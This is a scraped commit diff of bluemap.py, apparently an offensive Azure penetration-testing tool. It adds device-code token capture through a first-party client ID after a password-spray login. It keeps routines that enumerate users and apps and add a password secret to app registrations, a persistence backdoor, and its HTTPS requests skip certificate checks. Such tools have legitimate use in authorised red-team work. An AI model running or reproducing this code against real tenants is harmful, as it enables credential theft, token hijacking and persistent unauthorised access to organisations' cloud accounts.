Projects STRLCPY BlueMap Commits 8eb90aa2
🤬
  • ■ ■ ■ ■ ■
    bluemap.py
    skipped 15 lines
    16 16   
    17 17  Token = None
    18 18  RefreshToken = None
     19 +RefreshTokenGraph = None
    19 20  AutoGenToken = False
    20 21  accessTokenGraph = None
    21 22  accessTokenVault = None
    skipped 180 lines
    202 203   pass
    203 204   return object
    204 205   
     206 +def DeviceCodeFlow():
     207 + object = {}
     208 + o = urlparse("https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0")
     209 + ctx = ssl.create_default_context()
     210 + ctx.check_hostname = False
     211 + ctx.verify_mode = ssl.CERT_NONE
     212 + conn = http.client.HTTPSConnection(o.netloc)
     213 + headers = {
     214 + 'Content-Type': 'application/x-www-form-urlencoded'
     215 + }
     216 + data = {
     217 + 'client_id' : 'd3590ed6-52b3-4102-aeff-aad2292ab01c',
     218 + 'grant_type': 'urn:ietf:params:oauth:grant-type:device_code',
     219 + 'scope' : 'User.Read Users.Read openid profile offline_access',
     220 + 'code': 'AAAA'
     221 + }
     222 + qs = urllib.parse.urlencode(data)
     223 + conn.request("POST", str(o.path), qs, headers)
     224 + res = conn.getresponse()
     225 + object["headers"] = dict(res.getheaders())
     226 + object["status_code"] = int(res.status)
     227 + object["response"] = str(res.read().decode("utf-8"))
     228 + try:
     229 + object["json"] = json.loads(object["response"])
     230 + except json.JSONDecodeError:
     231 + pass
     232 + return object
     233 + 
     234 +def DeviceCodeFlowAuthUser(teantnId, deviceCode, userCode):
     235 + object = {}
     236 + o = urlparse("https://login.microsoftonline.com/"+str(teantnId)+"/oauth2/v2.0/token")
     237 + ctx = ssl.create_default_context()
     238 + ctx.check_hostname = False
     239 + ctx.verify_mode = ssl.CERT_NONE
     240 + conn = http.client.HTTPSConnection(o.netloc)
     241 + headers = {
     242 + 'Content-Type': 'application/x-www-form-urlencoded'
     243 + }
     244 + data = {
     245 + 'tenant': teantnId,
     246 + 'grant_type': 'urn:ietf:params:oauth:grant-type:device_code',
     247 + 'client_id' : 'd3590ed6-52b3-4102-aeff-aad2292ab01c',
     248 + 'device_code': deviceCode
     249 + }
     250 + qs = urllib.parse.urlencode(data)
     251 + conn.request("POST", str(o.path), qs, headers)
     252 + res = conn.getresponse()
     253 + object["headers"] = dict(res.getheaders())
     254 + object["status_code"] = int(res.status)
     255 + object["response"] = str(res.read().decode("utf-8"))
     256 + try:
     257 + object["json"] = json.loads(object["response"])
     258 + except json.JSONDecodeError:
     259 + pass
     260 + return object
     261 + 
    205 262  def sendPUTRequest(url, body, Token):
    206 263   object = {}
    207 264   o = urlparse(url)
    skipped 70 lines
    278 335   global RefreshToken
    279 336   RefreshToken = TokenRF
    280 337   
     338 +def initRefreshGraphToken(TokenRFGraph):
     339 + global RefreshTokenGraph
     340 + RefreshTokenGraph = TokenRFGraph
     341 + 
     342 +def initTokenWithGraph(token, graphToken):
     343 + global Token, accessTokenGraph,TargetSubscription, TargetTenantId, hasGraphAccess, hasMgmtAccess
     344 + hasGraphAccess = True
     345 + hasMgmtAccess = True
     346 + Token = token
     347 + accessTokenGraph = graphToken
     348 + try:
     349 + listSubs = ListSubscriptionsForToken()
     350 + TargetSubscription = listSubs['value'][0]['subscriptionId']
     351 + TargetTenantId = parseTenantId()
     352 + except KeyError:
     353 + pass
     354 + 
    281 355  def initToken(token, resetscopes):
    282 356   global Token, hasMgmtAccess, hasGraphAccess, hasVaultEnabled,TargetSubscription, TargetTenantId
    283 357   if resetscopes:
    skipped 77 lines
    361 435   return "Got unknown error"
    362 436   
    363 437   
    364  - 
    365 438  def ReloadToken():
    366 439   global RefreshToken
    367 440   r = sendPOSTRequestRefreshToken(parseTenantId(), RefreshToken )
    skipped 16 lines
    384 457   r = sendGETRequest("https://management.azure.com/subscriptions/?api-version=2017-05-10", Token)
    385 458   return r
    386 459   
     460 +'''
     461 + The method used to check token state for graph based methods
     462 +'''
     463 +def CheckSubscriptionReqGraphState():
     464 + global accessTokenGraph
     465 + r = sendGETRequest("https://graph.microsoft.com/v1.0/users/", accessTokenGraph)
     466 + if len(r['json']) == 0:
     467 + return False
     468 + else:
     469 + return True
     470 + 
    387 471  ''' Based on AADInternals Research (https://aadinternals.com/post/just-looking/) '''
    388 472   
    389 473  def ENUM_Tenant_Info(domain):
    skipped 55 lines
    445 529   
    446 530  def RD_ListAllUsers():
    447 531   global accessTokenGraph
    448  - r = sendGETRequest("https://graph.microsoft.com/v1.0/users/", accessTokenGraph)
    449  - return r["json"]
     532 + if CheckSubscriptionReqGraphState():
     533 + r = sendGETRequest("https://graph.microsoft.com/v1.0/users/", accessTokenGraph)
     534 + return r["json"]
     535 + else:
     536 + print("Need to refresh token / obtain token for MSGraph.")
    450 537   
    451 538  def GA_ElevateAccess():
    452 539   global Token
    skipped 23 lines
    476 563   
    477 564  def RD_AddAppSecret():
    478 565   global accessTokenGraph
    479  - r = sendGETRequest("https://graph.microsoft.com/v1.0/applications", accessTokenGraph)
    480  - return r['json']
     566 + if CheckSubscriptionReqGraphState():
     567 + r = sendGETRequest("https://graph.microsoft.com/v1.0/applications", accessTokenGraph)
     568 + return r['json']
     569 + else:
     570 + print("Need to refresh token / obtain token for MSGraph.")
    481 571   
    482 572  def getResGroup(subid):
    483 573   global Token
    skipped 358 lines
    842 932  
    843 933  def CHK_AppRegOwner(appId):
    844 934   global accessTokenGraph
    845  - r = sendGETRequest("https://graph.microsoft.com/v1.0/applications?$filter=" + urllib.parse.quote("appId eq '" + appId + "'"), accessTokenGraph)
    846  - appData = r['json']['value'][0]['id']
    847  - AppOwners = sendGETRequest("https://graph.microsoft.com/v1.0/applications/" + str(appData) + "/owners", accessTokenGraph)
    848  - if str(parseUPN()) in AppOwners["response"]:
    849  - return "Yes! Try Exploit: Reader/abuseServicePrincipals"
     935 + if CheckSubscriptionReqGraphState():
     936 + r = sendGETRequest("https://graph.microsoft.com/v1.0/applications?$filter=" + urllib.parse.quote("appId eq '" + appId + "'"), accessTokenGraph)
     937 + appData = r['json']['value'][0]['id']
     938 + AppOwners = sendGETRequest("https://graph.microsoft.com/v1.0/applications/" + str(appData) + "/owners", accessTokenGraph)
     939 + if str(parseUPN()) in AppOwners["response"]:
     940 + return "Yes! Try Exploit: Reader/abuseServicePrincipals"
     941 + else:
     942 + return "N/A"
    850 943   else:
    851  - return "N/A"
     944 + print("Need to refresh token / obtain token for MSGraph.")
    852 945   
    853 946  def RD_addPasswordForEntrepriseApp(appId):
    854 947   global accessTokenGraph
    855  - r = sendGETRequest(
    856  - "https://graph.microsoft.com/v1.0/applications?$filter=" + urllib.parse.quote("appId eq '" + appId + "'"),
    857  - accessTokenGraph)
    858  - appData = r['json']['value'][0]['id']
    859  - req = {
    860  - "passwordCredential": {
    861  - "displayName": "Password"
    862  - }
    863  - }
    864  - addSecretPwd = sendPOSTRequest("https://graph.microsoft.com/v1.0/applications/" + str(appData) + "/addPassword", req, accessTokenGraph)
    865  - if addSecretPwd['status_code'] == 200:
    866  - pwdOwn = addSecretPwd['json']
    867  - return "AppId: " + pwdOwn['keyId'] + "| Pwd: " + pwdOwn['secretText']
     948 + if CheckSubscriptionReqGraphState():
     949 + r = sendGETRequest(
     950 + "https://graph.microsoft.com/v1.0/applications?$filter=" + urllib.parse.quote("appId eq '" + appId + "'"),
     951 + accessTokenGraph)
     952 + appData = r['json']['value'][0]['id']
     953 + req = {
     954 + "passwordCredential": {
     955 + "displayName": "Password"
     956 + }
     957 + }
     958 + addSecretPwd = sendPOSTRequest("https://graph.microsoft.com/v1.0/applications/" + str(appData) + "/addPassword", req, accessTokenGraph)
     959 + if addSecretPwd['status_code'] == 200:
     960 + pwdOwn = addSecretPwd['json']
     961 + return "AppId: " + pwdOwn['keyId'] + "| Pwd: " + pwdOwn['secretText']
     962 + else:
     963 + return "N/A"
    868 964   else:
    869  - return "N/A"
     965 + print("Need to refresh token / obtain token for MSGraph.")
    870 966   
    871 967  def tryGetToken():
    872 968   global accessTokenGraph, accessTokenVault, hasGraphAccess, hasMgmtAccess, hasVaultEnabled
    skipped 192 lines
    1065 1161  def AutoRecon():
    1066 1162   print("\nChecking for current SubscriptionId: " + str(TargetSubscription))
    1067 1163   print("\n===== Checking Available Resources =====\n")
     1164 + print("Checking all Storage Accounts..")
    1068 1165   totalStorageAccounts = len(RD_ListAllStorageAccounts())
     1166 + print("Checking all VMS...")
    1069 1167   totalVMs = len(RD_ListAllVMs())
     1168 + print("Checking all deployments...")
    1070 1169   totalDeployments = len(RD_ListAllDeployments())
     1170 + print("Checking all app registrations...")
    1071 1171   totalAppRegistrations = len(RD_AddAppSecret())
     1172 + print("Checking all ACRs...")
    1072 1173   totalACRs = len(RD_ListAllACRs())
     1174 + print("Checking all automation runbooks...")
    1073 1175   totalRubBooks = len(RD_ListRunBooksByAutomationAccounts())
     1176 + 
     1177 + print("\nTotal Found:")
    1074 1178   print("Storage Account: " + str(totalStorageAccounts))
    1075 1179   print("Virtual Machines: " + str(totalVMs))
    1076 1180   print("Deployments: " + str(totalDeployments))
    skipped 142 lines
    1219 1323   
    1220 1324  def ListSubscriptionsForToken():
    1221 1325   global Token
    1222  - r = CheckSubscriptionReqState()
     1326 + r = sendGETRequest("https://management.azure.com/subscriptions/?api-version=2017-05-10", Token)
    1223 1327   return r['json']
    1224 1328   
    1225  - 
    1226 1329  def GetAllResourcesUnderSubscription(subscriptionId, token):
    1227 1330   r = sendGETRequest("https://management.azure.com/subscriptions/" + subscriptionId + "/resources?api-version=2017-05-10", token)
    1228 1331   return r['json']
    skipped 18 lines
    1247 1350   '''
    1248 1351   supportedCommands = [
    1249 1352   "version",
     1353 + "test",
    1250 1354   "whoami",
    1251 1355   "scopes",
    1252 1356   "get_subs",
    skipped 64 lines
    1317 1421   else:
    1318 1422   if mode == "run" and ExploitChoosen is None:
    1319 1423   print("Use run command only within an exploit.")
     1424 + elif mode == "test":
     1425 + print(RD_ListAllStorageAccounts())
    1320 1426   elif mode == "version":
    1321 1427   print("Bluemap 1.0.0-Beta")
    1322 1428   elif mode == "whoami":
    skipped 34 lines
    1357 1463   if TargetSubscription == None:
    1358 1464   print("Use set_target to set a subscription to work on.")
    1359 1465   else:
    1360  - AutoRecon()
    1361  - elif "autorecon" in mode:
    1362  - if TargetSubscription == None:
    1363  - print("Use set_target to set a subscription to work on.")
    1364  - else:
    1365  - AutoRecon()
     1466 + if CheckSubscriptionReqGraphState():
     1467 + AutoRecon()
     1468 + else:
     1469 + print("Missing MSGraphs scope in current user token for autorecon module.\nAbort!")
    1366 1470   elif "shadowacc" in mode:
    1367 1471   if TargetSubscription == None:
    1368 1472   print("Use set_target to set a subscription to work on.")
    skipped 186 lines
    1555 1659   elif "Token/SetToken" in ExploitChoosen and mode == "run":
    1556 1660   print("Please paste your Azure token here:")
    1557 1661   token = input("Enter Token:")
    1558  - initToken(token, True)
    1559  - print("All set.")
     1662 + check = token.split(".")[1]
     1663 + audAttribue = json.loads(base64.b64decode(check))['aud']
     1664 + if audAttribue != "https://management.azure.com/":
     1665 + print("Error: Token/SetToken support only management.azure.com scope tokens.")
     1666 + else:
     1667 + initToken(token, True)
     1668 + print("All set.")
    1560 1669   elif "Token/RefreshToken" in ExploitChoosen and mode == "run":
    1561 1670   ''' For Token/GenToken method '''
    1562 1671   if AutoGenToken == True:
    skipped 3 lines
    1566 1675   print("Token Refresh. Done.")
    1567 1676   else:
    1568 1677   ''' For any other manual method (Token/SetToken or Token/AuthToken)'''
    1569  - ReloadToken()
    1570  - print("Token Refresh. Done.")
     1678 + print("Refresh token not supported for Token/SetToken or Token/AuthToken. Try to login again.")
    1571 1679   elif "Reader/ExposedAppServiceApps" in ExploitChoosen and mode == "run":
    1572 1680   print("Trying to enumerate all external-facing Azure Service Apps..")
    1573 1681   if len(RD_ListExposedWebApps()) < 1:
    skipped 222 lines
    1796 1904   r = sendPOSTRequestSprayMSOL("https://login.microsoft.com/common/oauth2/token", user, pwd, True)
    1797 1905   response = r["json"]
    1798 1906   if 'access_token' in response:
    1799  - initToken(response['access_token'], True)
    1800  - initRefreshToken(response['refresh_token'])
    1801  - print("Logged In!")
     1907 + print("Credentials OK, continue..")
     1908 + x = DeviceCodeFlow()
     1909 + dc = x["json"]["device_code"]
     1910 + uc = x["json"]["user_code"]
     1911 + print("Now follow the next steps to complete the process:")
     1912 + print(x["json"]["message"])
     1913 + while(True):
     1914 + res = DeviceCodeFlowAuthUser("5adb82f3-e85b-42af-b237-adf6e094f963",dc, uc)["json"]
     1915 + if 'error_description' in res:
     1916 + continue
     1917 + else:
     1918 + if 'expired_token' in res:
     1919 + print("Expired Token, try again!")
     1920 + break
     1921 + else:
     1922 + accessTokenGraph = res
     1923 + initTokenWithGraph(response['access_token'], accessTokenGraph['access_token'])
     1924 + initRefreshToken(response['refresh_token'])
     1925 + print("Captured token!")
     1926 + break
    1802 1927   else:
    1803  - print("Invalid username / password")
     1928 + print("Invalid username / password.")
    1804 1929   elif "External/EmailEnum" in ExploitChoosen and mode == "run":
    1805 1930   DestPath = input("Please enter the path for emails [i.e. C:\\emails.txt]: ")
    1806 1931   if DestPath == "":
    skipped 429 lines
Please wait...
Page is in error, reload to recover